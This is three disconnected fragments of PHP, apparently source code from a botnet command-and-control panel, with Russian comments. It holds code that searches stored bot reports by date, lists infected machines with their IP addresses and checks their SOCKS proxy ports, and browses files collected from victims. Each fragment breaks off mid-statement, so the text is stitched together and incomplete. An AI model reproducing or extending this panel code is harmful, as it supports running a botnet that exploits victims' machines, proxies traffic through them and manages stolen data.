$v = intval(substr($t, -6)); if ($v >= $filter['date1'] && $v <= $filter['date2']) { $datelist .= str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, htmlEntitiesEx(gmdate(LNG_FORMAT_DATE, gmmktime(0, 0, 0, substr($t, -4, 2), substr($t, -2, 2), substr($t, -6, 2) + 2000)))), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . '<div id="dt' . htmlentities($v) . '" class="botnet-search-results" data-date="' . $v . '">' . THEME_IMG_WAIT . THEME_STRING_ID_END . THEME_STRING_NEWLINE . THEME_STRING_NEWLINE . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END; $js_datelist .= ($js_datelist == '' ? '' : ', ') . "['dt" . addJsSlashes($v) . "', '" . addJsSlashes(urlencode($v)) . "']"; } } $f = $filter; unset($f['date1']); unset($f['date2']); unset($f['date']); unset($f['plain']); $q = addJsSlashes(QUERY_STRING); foreach ($f as $k => $v) { $q .= '&' . addJsSlashes(urlencode($k)) . '=' . addJsSlashes(urlencode($v)); } $ajax_init = jsXmlHttpRequest('datehttp'); $ajax_err = addJsSlashes(str_replace('{TEXT}', LNG_REPORTS_DATE_ERROR, THEME_STRING_ERROR)); $js_script .= <<<JS_SCRIPT var datelist = [{$js_datelist}]; var datehttp = false; function stateChange(i){if(datehttp.readyState == 4) { var el = document.getElementById(datelist[i][0]); if(datehttp.status == 200 && datehttp.responseText.length > 1){ \tel.innerHTML = datehttp.responseText; \t/* [Infinite-scroll commented-out] \t install_infinite_scroller(); \t */ \t}
$i = 0; $jsList = ''; //Выводим результат. foreach ($blist as $bot) { $isExists = isset($res[$bot]); $item = $i++ % 2 == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2; if ($isExists) { $l = $res[$bot]; $ipv4 = binaryIpToString($l[2]); $jsList .= ($jsList == '' ? '' : ', ') . "['st{$i}', '" . addJsSlashes(urlencode($ipv4)) . "', '" . addJsSlashes(urlencode($l[3])) . "']"; } $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($bot, 'botmenu') . THEME_STRING_SPACE . '/' . THEME_STRING_SPACE . ($isExists ? $l[1] : '--')), $item) . str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $isExists ? htmlEntitiesEx($ipv4 . ':' . $l[3]) : '-:-'), $item) . str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $isExists ? str_replace('{ID}', 'st' . $i, THEME_STRING_ID_BEGIN) . LNG_BA_PORT_SOCKS_CHECKING . THEME_STRING_ID_END : LNG_BA_PORT_SOCKS_FAILED), $item) . THEME_LIST_ROW_END; } //Скрипт для проверки соксов. $ajaxError = addJsSlashes(str_replace('{TEXT}', LNG_BA_PORT_SOCKS_ERROR, THEME_STRING_ERROR)); $ajaxInit = jsXmlHttpRequest('socksHttp'); $q = addJsSlashes(QUERY_SCRIPT . '?botsaction=port_socks&bots[]=0'); $ajax = <<<JS_SCRIPT var socksList = [{$jsList}]; var socksHttp = false; function stateChange(i){if(socksHttp.readyState == 4) { var el = document.getElementById(socksList[i][0]); if(socksHttp.status == 200 && socksHttp.responseText.length > 5)el.innerHTML = socksHttp.responseText; else el.innerHTML = '{$ajaxError}'; SocksCheck(++i); }} function SocksCheck(i) {
//Ширина input.text. define('INPUTQ_WIDTH', '500px'); //Ширина input.text. //Создаем JS-скрипт. $fl_onsubmit = ' onsubmit="return ExecuteAction()"'; $js_qa = addJsSlashes(LNG_REPORTS_FILESACTION_Q); $js_script = jsCheckAll('fileslist', 'checkall', 'files[]') . "function ExecuteAction(){return confirm('{$js_qa}');}"; if ($_is_browser) { $query = addJsSlashes(QUERY_STRING . '&path=' . urlencode($_FILTER['path'])); $js_script .= jsSetSortMode($query); } else { $q = addJsSlashes(QUERY_STRING); foreach ($_FILTER as $k => $v) { $q .= addJsSlashes('&' . urlencode($k) . '=' . urlencode($v)); } $ajax_init = jsXmlHttpRequest('srhhttp'); $ajax_err = addJsSlashes(str_replace('{TEXT}', LNG_REPORTS_RESULT_ERROR, THEME_STRING_ERROR)); $js_script .= <<<JS_SCRIPT var srhhttp = false; function stateChange(){if(srhhttp.readyState == 4) { var el = document.getElementById('result'); if(srhhttp.status == 200 && srhhttp.responseText.length > 1)el.innerHTML = srhhttp.responseText; else el.innerHTML = '{$ajax_err}'; }} function SearchFiles() { {$ajax_init}